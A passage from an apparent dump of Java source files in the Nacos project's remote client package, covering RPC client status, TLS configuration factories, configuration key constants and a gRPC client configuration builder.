unhealthy, may closed by server, in reconnecting\"),\n    \n    /**\n     * in running.\n     */\n    RUNNING(4, \"Client is running\"),\n    \n    /**\n     * shutdown.\n     */\n    SHUTDOWN(5, \"Client is shutdown\");\n    \n    int status;\n    \n    String desc;\n    \n    RpcClientStatus(int status, String desc) {\n        this.status = status;\n        this.desc = desc;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/RpcClientTlsConfig.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport com.alibaba.nacos.common.remote.TlsConfig;\n\n/**\n * gRPC config for sdk.\n *\n * @author githubcheng2978\n */\npublic class RpcClientTlsConfig extends TlsConfig {\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/RpcClientTlsConfigFactory.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport java.util.Properties;\n\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ClientSuffix.MUTUAL_AUTH;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ClientSuffix.TLS_CERT_CHAIN_PATH;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ClientSuffix.TLS_CERT_KEY;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ClientSuffix.TLS_CIPHERS;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ClientSuffix.TLS_ENABLE;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ClientSuffix.TLS_PROTOCOLS;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ClientSuffix.TLS_PROVIDER;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ClientSuffix.TLS_TRUST_ALL;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ClientSuffix.TLS_TRUST_COLLECTION_CHAIN_PATH;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ClientSuffix.TLS_TRUST_PWD;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.NACOS_CLIENT_RPC;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.NACOS_PEER_RPC;\n\n/**\n * TlsConfigFactory.\n *\n * @author stone-98\n */\npublic class RpcClientTlsConfigFactory implements RpcTlsConfigFactory {\n\n    private static RpcClientTlsConfigFactory instance;\n\n    private RpcClientTlsConfigFactory() {\n    }\n\n    public static synchronized RpcClientTlsConfigFactory getInstance() {\n        if (instance == null) {\n            instance = new RpcClientTlsConfigFactory();\n        }\n        return instance;\n    }\n\n    /**\n     * Create SDK client TLS config.\n     *\n     * @param properties Properties containing TLS configuration\n     * @return RpcClientTlsConfig object representing the TLS configuration\n     */\n    @Override\n    public RpcClientTlsConfig createSdkConfig(Properties properties) {\n        RpcClientTlsConfig tlsConfig = new RpcClientTlsConfig();\n        tlsConfig.setEnableTls(getBooleanProperty(properties, NACOS_CLIENT_RPC + TLS_ENABLE, false));\n        tlsConfig.setMutualAuthEnable(getBooleanProperty(properties, NACOS_CLIENT_RPC + MUTUAL_AUTH, false));\n        tlsConfig.setProtocols(properties.getProperty(NACOS_CLIENT_RPC + TLS_PROTOCOLS));\n        tlsConfig.setCiphers(properties.getProperty(NACOS_CLIENT_RPC + TLS_CIPHERS));\n        tlsConfig.setTrustCollectionCertFile(properties.getProperty(NACOS_CLIENT_RPC + TLS_TRUST_COLLECTION_CHAIN_PATH));\n        tlsConfig.setCertChainFile(properties.getProperty(NACOS_CLIENT_RPC + TLS_CERT_CHAIN_PATH));\n        tlsConfig.setCertPrivateKey(properties.getProperty(NACOS_CLIENT_RPC + TLS_CERT_KEY));\n        tlsConfig.setTrustAll(getBooleanProperty(properties, NACOS_CLIENT_RPC + TLS_TRUST_ALL, true));\n        tlsConfig.setCertPrivateKeyPassword(properties.getProperty(NACOS_CLIENT_RPC + TLS_TRUST_PWD));\n        tlsConfig.setSslProvider(properties.getProperty(NACOS_CLIENT_RPC + TLS_PROVIDER));\n        return tlsConfig;\n    }\n\n    /**\n     * Create cluster client TLS config.\n     *\n     * @param properties Properties containing TLS configuration\n     * @return RpcClientTlsConfig object representing the TLS configuration\n     */\n    @Override\n    public RpcClientTlsConfig createClusterConfig(Properties properties) {\n        RpcClientTlsConfig tlsConfig = new RpcClientTlsConfig();\n        tlsConfig.setEnableTls(getBooleanProperty(properties, NACOS_PEER_RPC + RpcConstants.ServerSuffix.TLS_ENABLE, false));\n        tlsConfig.setMutualAuthEnable(getBooleanProperty(properties, NACOS_PEER_RPC + RpcConstants.ServerSuffix.MUTUAL_AUTH, false));\n        tlsConfig.setProtocols(properties.getProperty(NACOS_PEER_RPC + RpcConstants.ServerSuffix.TLS_PROTOCOLS));\n        tlsConfig.setCiphers(properties.getProperty(NACOS_PEER_RPC + RpcConstants.ServerSuffix.TLS_CIPHERS));\n        tlsConfig.setTrustCollectionCertFile(properties.getProperty(NACOS_PEER_RPC + RpcConstants.ServerSuffix.TLS_TRUST_COLLECTION_CHAIN_PATH));\n        tlsConfig.setCertChainFile(properties.getProperty(NACOS_PEER_RPC + RpcConstants.ServerSuffix.TLS_CERT_CHAIN_PATH));\n        tlsConfig.setCertPrivateKey(properties.getProperty(NACOS_PEER_RPC + RpcConstants.ServerSuffix.TLS_CERT_KEY));\n        tlsConfig.setTrustAll(getBooleanProperty(properties, NACOS_PEER_RPC + RpcConstants.ServerSuffix.TLS_TRUST_ALL, true));\n        tlsConfig.setCertPrivateKeyPassword(properties.getProperty(NACOS_PEER_RPC + RpcConstants.ServerSuffix.TLS_TRUST_PWD));\n        tlsConfig.setSslProvider(properties.getProperty(NACOS_PEER_RPC + RpcConstants.ServerSuffix.TLS_PROVIDER));\n        return tlsConfig;\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/RpcConfigFactory.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClientConfig;\n\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n * RpcConfigFactory.\n *\n * @author Nacos\n */\npublic interface RpcConfigFactory {\n    \n    /**\n     * createGrpcClientConfig.\n     *\n     * @param properties properties\n     * @param labels     labels\n     * @return GrpcClientConfig\n     */\n    GrpcClientConfig createGrpcClientConfig(Properties properties, Map<String, String> labels);\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/RpcConstants.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\nimport java.lang.reflect.Field;\nimport java.util.Collections;\nimport java.util.HashSet;\nimport java.util.Set;\n\n/**\n * RpcConstants.\n *\n * @author githubcheng2978.\n */\npublic class RpcConstants {\n    \n    public static final String NACOS_CLIENT_RPC = \"nacos.remote.client.rpc\";\n\n    public static final String NACOS_SERVER_RPC = \"nacos.remote.server.rpc.tls\";\n\n    public static final String NACOS_PEER_RPC = \"nacos.remote.peer.rpc.tls\";\n\n    @RpcConfigLabel\n    public static final String RPC_CLIENT_TLS_ENABLE = NACOS_CLIENT_RPC + ClientSuffix.TLS_ENABLE;\n    \n    @RpcConfigLabel\n    public static final String RPC_CLIENT_TLS_PROVIDER = NACOS_CLIENT_RPC + ClientSuffix.TLS_PROVIDER;\n    \n    @RpcConfigLabel\n    public static final String RPC_CLIENT_MUTUAL_AUTH = NACOS_CLIENT_RPC + ClientSuffix.MUTUAL_AUTH;\n    \n    @RpcConfigLabel\n    public static final String RPC_CLIENT_TLS_PROTOCOLS = NACOS_CLIENT_RPC + ClientSuffix.TLS_PROTOCOLS;\n    \n    @RpcConfigLabel\n    public static final String RPC_CLIENT_TLS_CIPHERS = NACOS_CLIENT_RPC + ClientSuffix.TLS_CIPHERS;\n    \n    @RpcConfigLabel\n    public static final String RPC_CLIENT_TLS_CERT_CHAIN_PATH = NACOS_CLIENT_RPC + ClientSuffix.TLS_CERT_CHAIN_PATH;\n    \n    @RpcConfigLabel\n    public static final String RPC_CLIENT_TLS_CERT_KEY = NACOS_CLIENT_RPC + ClientSuffix.TLS_CERT_KEY;\n    \n    @RpcConfigLabel\n    public static final String RPC_CLIENT_TLS_TRUST_PWD = NACOS_CLIENT_RPC + ClientSuffix.TLS_TRUST_PWD;\n    \n    @RpcConfigLabel\n    public static final String RPC_CLIENT_TLS_TRUST_COLLECTION_CHAIN_PATH =\n            NACOS_CLIENT_RPC + ClientSuffix.TLS_TRUST_COLLECTION_CHAIN_PATH;\n    \n    @RpcConfigLabel\n    public static final String RPC_CLIENT_TLS_TRUST_ALL = NACOS_CLIENT_RPC + ClientSuffix.TLS_TRUST_ALL;\n    \n    private static final Set<String> CONFIG_NAMES = new HashSet<>();\n    \n    static {\n        Class clazz = RpcConstants.class;\n        Field[] declaredFields = clazz.getDeclaredFields();\n        for (Field declaredField : declaredFields) {\n            declaredField.setAccessible(true);\n            if (declaredField.getType().equals(String.class) && null != declaredField.getAnnotation(\n                    RpcConfigLabel.class)) {\n                try {\n                    CONFIG_NAMES.add((String) declaredField.get(null));\n                } catch (IllegalAccessException ignored) {\n                }\n            }\n        }\n    }\n    \n    /**\n     * Enumeration of common suffixes for RPC configuration properties. Each enum constant represents a specific\n     * configuration attribute suffix. This allows for the construction of complete configuration property keys.\n     */\n    public class ClientSuffix {\n        \n        /**\n         * Suffix for 'tls.enable' configuration property.\n         */\n        public static final String TLS_ENABLE = \".tls.enable\";\n        \n        /**\n         * Suffix for 'tls.provider' configuration property.\n         */\n        public static final String TLS_PROVIDER = \".tls.provider\";\n        \n        /**\n         * Suffix for 'tls.mutualAuth' configuration property.\n         */\n        public static final String MUTUAL_AUTH = \".tls.mutualAuth\";\n        \n        /**\n         * Suffix for 'tls.protocols' configuration property.\n         */\n        public static final String TLS_PROTOCOLS = \".tls.protocols\";\n        \n        /**\n         * Suffix for 'tls.ciphers' configuration property.\n         */\n        public static final String TLS_CIPHERS = \".tls.ciphers\";\n        \n        /**\n         * Suffix for 'tls.certChainFile' configuration property.\n         */\n        public static final String TLS_CERT_CHAIN_PATH = \".tls.certChainFile\";\n        \n        /**\n         * Suffix for 'tls.certPrivateKey' configuration property.\n         */\n        public static final String TLS_CERT_KEY = \".tls.certPrivateKey\";\n        \n        /**\n         * Suffix for 'tls.certPrivateKeyPassword' configuration property.\n         */\n        public static final String TLS_TRUST_PWD = \".tls.certPrivateKeyPassword\";\n        \n        /**\n         * Suffix for 'tls.trustCollectionChainPath' configuration property.\n         */\n        public static final String TLS_TRUST_COLLECTION_CHAIN_PATH = \".tls.trustCollectionChainPath\";\n        \n        /**\n         * Suffix for 'tls.trustAll' configuration property.\n         */\n        public static final String TLS_TRUST_ALL = \".tls.trustAll\";\n    }\n\n    /**\n     * Enumeration of common suffixes for RPC configuration properties. Each enum constant represents a specific\n     * configuration attribute suffix. This allows for the construction of complete configuration property keys.\n     */\n    public class ServerSuffix {\n\n        /**\n         * Suffix for 'tls.enable' configuration property.\n         */\n        public static final String TLS_ENABLE = \".enableTls\";\n\n        /**\n         * Suffix for 'tls.provider' configuration property.\n         */\n        public static final String TLS_PROVIDER = \".sslProvider\";\n\n        /**\n         * Suffix for 'tls.mutualAuth' configuration property.\n         */\n        public static final String MUTUAL_AUTH = \".mutualAuthEnable\";\n\n        /**\n         * Suffix for 'tls.protocols' configuration property.\n         */\n        public static final String TLS_PROTOCOLS = \".protocols\";\n\n        /**\n         * Suffix for 'tls.ciphers' configuration property.\n         */\n        public static final String TLS_CIPHERS = \".ciphers\";\n\n        /**\n         * Suffix for 'tls.certChainFile' configuration property.\n         */\n        public static final String TLS_CERT_CHAIN_PATH = \".certChainFile\";\n\n        /**\n         * Suffix for 'tls.certPrivateKey' configuration property.\n         */\n        public static final String TLS_CERT_KEY = \".certPrivateKey\";\n\n        /**\n         * Suffix for 'tls.certPrivateKeyPassword' configuration property.\n         */\n        public static final String TLS_TRUST_PWD = \".certPrivateKeyPassword\";\n\n        /**\n         * Suffix for 'tls.trustCollectionChainPath' configuration property.\n         */\n        public static final String TLS_TRUST_COLLECTION_CHAIN_PATH = \".trustCollectionCertFile\";\n\n        /**\n         * Suffix for 'tls.trustAll' configuration property.\n         */\n        public static final String TLS_TRUST_ALL = \".trustAll\";\n\n        /**\n         * Suffix for '.sslContextRefresher' configuration property.\n         */\n        public static final String SSL_CONTEXT_REFRESHER = \".sslContextRefresher\";\n\n        /**\n         * Suffix for '.compatibility' configuration property.\n         */\n        public static final String COMPATIBILITY = \".compatibility\";\n    }\n    \n    @Documented\n    @Target(ElementType.FIELD)\n    @Retention(RetentionPolicy.RUNTIME)\n    protected @interface RpcConfigLabel {\n    \n    }\n    \n    public static Set<String> getRpcParams() {\n        return Collections.unmodifiableSet(CONFIG_NAMES);\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/RpcTlsConfigFactory.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport com.alibaba.nacos.common.remote.TlsConfig;\n\nimport java.util.Properties;\n\n/**\n * RpcTlsConfigFactory.\n *\n * @author stone-98\n * @date 2024/4/8\n */\npublic interface RpcTlsConfigFactory {\n\n    /**\n     * Create a TlsConfig for SDK connections based on the provided properties.\n     *\n     * @param properties Properties containing configuration\n     * @return TlsConfig instance for SDK connections\n     */\n    TlsConfig createSdkConfig(Properties properties);\n\n    /**\n     * Create a TlsConfig for cluster connections based on the provided properties.\n     *\n     * @param properties Properties containing configuration\n     * @return TlsConfig instance for cluster connections\n     */\n    TlsConfig createClusterConfig(Properties properties);\n\n    /**\n     * Get boolean property from properties.\n     *\n     * @param properties   Properties containing configuration\n     * @param key          Key of the property\n     * @param defaultValue Default value to return if the property is not found or is invalid\n     * @return Boolean value of the property, or the provided defaultValue if not found or invalid\n     */\n    default Boolean getBooleanProperty(Properties properties, String key, Boolean defaultValue) {\n        String value = properties.getProperty(key);\n        if (value != null) {\n            return Boolean.parseBoolean(value);\n        }\n        return defaultValue;\n    }\n}"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/ServerListFactory.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport java.util.List;\n\n/**\n * server list factory . use to inner client to connecte and switch servers.\n * @author liuzunfei\n * @version $Id: ServerListFactory.java, v 0.1 2020年07月14日 1:11 PM liuzunfei Exp $\n */\npublic interface ServerListFactory {\n    \n    /**\n     * switch to a new server and get it.\n     *\n     * @return server \" ip:port\".\n     */\n    String genNextServer();\n    \n    /**\n     * get current server.\n     * @return server \" ip:port\".\n     */\n    String getCurrentServer();\n    \n    /**\n     * get current server.\n     *\n     * @return servers.\n     */\n    List<String> getServerList();\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/ServerRequestHandler.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * ServerRequestHandler, to process the request from server side.\n *\n * @author liuzunfei\n * @version $Id: ServerRequestHandler.java, v 0.1 2020年07月14日 11:41 AM liuzunfei Exp $\n */\npublic interface ServerRequestHandler {\n    \n    /**\n     * Handle request from server.\n     *\n     * @param request request\n     * @param connection current connection, it can be used to know server ability\n     * @return response.\n     */\n    Response requestReply(Request request, Connection connection);\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/grpc/DefaultGrpcClientConfig.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.common.remote.TlsConfig;\nimport com.alibaba.nacos.common.remote.client.RpcClientTlsConfig;\nimport com.alibaba.nacos.common.remote.client.RpcClientTlsConfigFactory;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.Properties;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Default grpc client config.\n *\n * @author karsonto\n */\npublic class DefaultGrpcClientConfig implements GrpcClientConfig {\n    \n    private String name;\n    \n    private final int retryTimes;\n    \n    private final long timeOutMills;\n    \n    private final long connectionKeepAlive;\n    \n    private final long channelKeepAliveTimeout;\n    \n    private final long threadPoolKeepAlive;\n    \n    private final int threadPoolCoreSize;\n    \n    private final int threadPoolMaxSize;\n    \n    private final long serverCheckTimeOut;\n    \n    private final int threadPoolQueueSize;\n    \n    private final int maxInboundMessageSize;\n    \n    private final int channelKeepAlive;\n    \n    private final int healthCheckRetryTimes;\n    \n    private final long healthCheckTimeOut;\n    \n    private final long capabilityNegotiationTimeout;\n    \n    private final boolean allowCoreThreadTimeOut;\n    \n    private final Map<String, String> labels;\n    \n    private RpcClientTlsConfig tlsConfig = new RpcClientTlsConfig();\n    \n    /**\n     * constructor.\n     *\n     * @param builder builder of DefaultGrpcClientConfig builder.\n     */\n    private DefaultGrpcClientConfig(Builder builder) {\n        this.name = builder.name;\n        this.retryTimes = builder.retryTimes;\n        this.timeOutMills = builder.timeOutMills;\n        this.connectionKeepAlive = builder.connectionKeepAlive;\n        this.threadPoolKeepAlive = builder.threadPoolKeepAlive;\n        this.threadPoolCoreSize = builder.threadPoolCoreSize;\n        this.threadPoolMaxSize = builder.threadPoolMaxSize;\n        this.serverCheckTimeOut = builder.serverCheckTimeOut;\n        this.threadPoolQueueSize = builder.threadPoolQueueSize;\n        this.maxInboundMessageSize = builder.maxInboundMessageSize;\n        this.channelKeepAlive = builder.channelKeepAlive;\n        this.healthCheckRetryTimes = builder.healthCheckRetryTimes;\n        this.healthCheckTimeOut = builder.healthCheckTimeOut;\n        this.channelKeepAliveTimeout = builder.channelKeepAliveTimeout;\n        this.capabilityNegotiationTimeout = builder.capabilityNegotiationTimeout;\n        this.allowCoreThreadTimeOut = builder.allowCoreThreadTimeOut;\n        this.labels = builder.labels;\n        this.labels.put(\"tls.enable\", \"false\");\n        if (Objects.nonNull(builder.tlsConfig)) {\n            this.tlsConfig = builder.tlsConfig;\n            if (Objects.nonNull(builder.tlsConfig.getEnableTls()) && builder.tlsConfig.getEnableTls()) {\n                this.labels.put(\"tls.enable\", \"true\");\n            }\n        }\n    }\n    \n    @Override\n    public String name() {\n        return this.name;\n    }\n    \n    @Override\n    public int retryTimes() {\n        return retryTimes;\n    }\n    \n    @Override\n    public long timeOutMills() {\n        return timeOutMills;\n    }\n    \n    @Override\n    public long connectionKeepAlive() {\n        return connectionKeepAlive;\n    }\n    \n    @Override\n    public int threadPoolCoreSize() {\n        return threadPoolCoreSize;\n    }\n    \n    @Override\n    public int threadPoolMaxSize() {\n        return threadPoolMaxSize;\n    }\n    \n    @Override\n    public long threadPoolKeepAlive() {\n        return threadPoolKeepAlive;\n    }\n    \n    @Override\n    public long serverCheckTimeOut() {\n        return serverCheckTimeOut;\n    }\n    \n    @Override\n    public int threadPoolQueueSize() {\n        return threadPoolQueueSize;\n    }\n    \n    @Override\n    public int maxInboundMessageSize() {\n        return maxInboundMessageSize;\n    }\n    \n    @Override\n    public int channelKeepAlive() {\n        return channelKeepAlive;\n    }\n    \n    @Override\n    public long channelKeepAliveTimeout() {\n        return channelKeepAliveTimeout;\n    }\n    \n    @Override\n    public TlsConfig tlsConfig() {\n        return tlsConfig;\n    }\n    \n    public void setTlsConfig(RpcClientTlsConfig tlsConfig) {\n        this.tlsConfig = tlsConfig;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    @Override\n    public long capabilityNegotiationTimeout() {\n        return this.capabilityNegotiationTimeout;\n    }\n    \n    @Override\n    public boolean allowCoreThreadTimeOut() {\n        return this.allowCoreThreadTimeOut;\n    }\n    \n    @Override\n    public int healthCheckRetryTimes() {\n        return healthCheckRetryTimes;\n    }\n    \n    @Override\n    public long healthCheckTimeOut() {\n        return healthCheckTimeOut;\n    }\n    \n    @Override\n    public Map<String, String> labels() {\n        return this.labels;\n    }\n    \n    public static Builder newBuilder() {\n        return new Builder();\n    }\n    \n    public static class Builder {\n        \n        private String name;\n        \n        private int retryTimes = 3;\n        \n        private long timeOutMills = 3000L;\n        \n        private long connectionKeepAlive = 5000L;\n        \n        private long threadPoolKeepAlive = 10000L;\n        \n        private int threadPoolCoreSize = ThreadUtils.getSuitableThreadCount(2);\n        \n        private int threadPoolMaxSize = ThreadUtils.getSuitableThreadCount(8);\n        \n        private long serverCheckTimeOut = 3000L;\n        \n        private int threadPoolQueueSize = 10000;\n        \n        private int maxInboundMessageSize = 10 * 1024 * 1024;\n        \n        private int channelKeepAlive = 6 * 60 * 1000;\n        \n        private long channelKeepAliveTimeout = TimeUnit.SECONDS.toMillis(20L);\n        \n        private int healthCheckRetryTimes = 3;\n        \n        private long healthCheckTimeOut = 3000L;\n        \n        private long capabilityNegotiationTimeout = 5000L;\n        \n        private boolean allowCoreThreadTimeOut = false;\n        \n        private final Map<String, String> labels = new HashMap<>();\n        \n        private RpcClientTlsConfig tlsConfig = new RpcClientTlsConfig();\n        \n        private Builder() {\n        }\n\n        public Builder buildSdkFromProperties(Properties properties) {\n            RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createSdkConfig(properties);\n            return fromProperties(properties, tlsConfig);\n        }\n\n        public Builder buildClusterFromProperties(Properties properties) {\n            RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createClusterConfig(properties);\n            return fromProperties(properties, tlsConfig);\n        }\n        \n        /**\n         * Set config from properties.\n         *\n         * @param properties properties\n         * @return Builder\n         */\n        public Builder fromProperties(Properties properties, RpcClientTlsConfig tlsConfig) {\n            if (properties.containsKey(GrpcConstants.GRPC_NAME)) {\n                this.name = properties.getProperty(GrpcConstants.GRPC_NAME);\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_RETRY_TIMES)) {\n                this.retryTimes = Integer.parseInt(properties.getProperty(GrpcConstants.GRPC_RETRY_TIMES));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_TIMEOUT_MILLS)) {\n                this.timeOutMills = Long.parseLong(properties.getProperty(GrpcConstants.GRPC_TIMEOUT_MILLS));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_CONNECT_KEEP_ALIVE_TIME)) {\n                this.connectionKeepAlive = Long.parseLong(\n                        properties.getProperty(GrpcConstants.GRPC_CONNECT_KEEP_ALIVE_TIME));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_THREADPOOL_KEEPALIVETIME)) {\n                this.threadPoolKeepAlive = Long.parseLong(\n                        properties.getProperty(GrpcConstants.GRPC_THREADPOOL_KEEPALIVETIME));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_THREADPOOL_CORE_SIZE)) {\n                this.threadPoolCoreSize = Integer.parseInt(\n                        properties.getProperty(GrpcConstants.GRPC_THREADPOOL_CORE_SIZE));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_THREADPOOL_MAX_SIZE)) {\n                this.threadPoolMaxSize = Integer.parseInt(\n                        properties.getProperty(GrpcConstants.GRPC_THREADPOOL_MAX_SIZE));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_SERVER_CHECK_TIMEOUT)) {\n                this.serverCheckTimeOut = Long.parseLong(\n                        properties.getProperty(GrpcConstants.GRPC_SERVER_CHECK_TIMEOUT));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_QUEUESIZE)) {\n                this.threadPoolQueueSize = Integer.parseInt(properties.getProperty(GrpcConstants.GRPC_QUEUESIZE));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_MAX_INBOUND_MESSAGE_SIZE)) {\n                this.maxInboundMessageSize = Integer.parseInt(\n                        properties.getProperty(GrpcConstants.GRPC_MAX_INBOUND_MESSAGE_SIZE));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_CHANNEL_KEEP_ALIVE_TIME)) {\n                this.channelKeepAlive = Integer.parseInt(\n                        properties.getProperty(GrpcConstants.GRPC_CHANNEL_KEEP_ALIVE_TIME));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_CHANNEL_CAPABILITY_NEGOTIATION_TIMEOUT)) {\n                this.capabilityNegotiationTimeout = Integer.parseInt(\n                        properties.getProperty(GrpcConstants.GRPC_CHANNEL_CAPABILITY_NEGOTIATION_TIMEOUT));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_HEALTHCHECK_RETRY_TIMES)) {\n                this.healthCheckRetryTimes = Integer.parseInt(\n                        properties.getProperty(GrpcConstants.GRPC_HEALTHCHECK_RETRY_TIMES));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_HEALTHCHECK_TIMEOUT)) {\n                this.healthCheckTimeOut = Long.parseLong(\n                        properties.getProperty(GrpcConstants.GRPC_HEALTHCHECK_TIMEOUT));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_CHANNEL_KEEP_ALIVE_TIMEOUT)) {\n                this.channelKeepAliveTimeout = Integer.parseInt(\n                        properties.getProperty(GrpcConstants.GRPC_CHANNEL_KEEP_ALIVE_TIMEOUT));\n            }\n            if (properties.containsKey(GrpcConstants.GRPC_THREADPOOL_ALLOW_CORE_THREAD_TIMEOUT)) {\n                this.allowCoreThreadTimeOut = Boolean.parseBoolean(\n                        properties.getProperty(GrpcConstants.GRPC_THREADPOOL_ALLOW_CORE_THREAD_TIMEOUT));\n            }\n            this.tlsConfig = tlsConfig;\n            return this;\n        }\n        \n        /**\n         * set client name.\n         */\n        public Builder setName(String name) {\n            this.name = name;\n            return this;\n        }\n        \n        /**\n         * set retryTimes.\n         */\n        public Builder setRetryTimes(int retryTimes) {\n            this.retryTimes = retryTimes;\n            return this;\n        }\n        \n        /**\n         * set timeOutMills.\n         */\n        public Builder setTimeOutMills(long timeOutMills) {\n            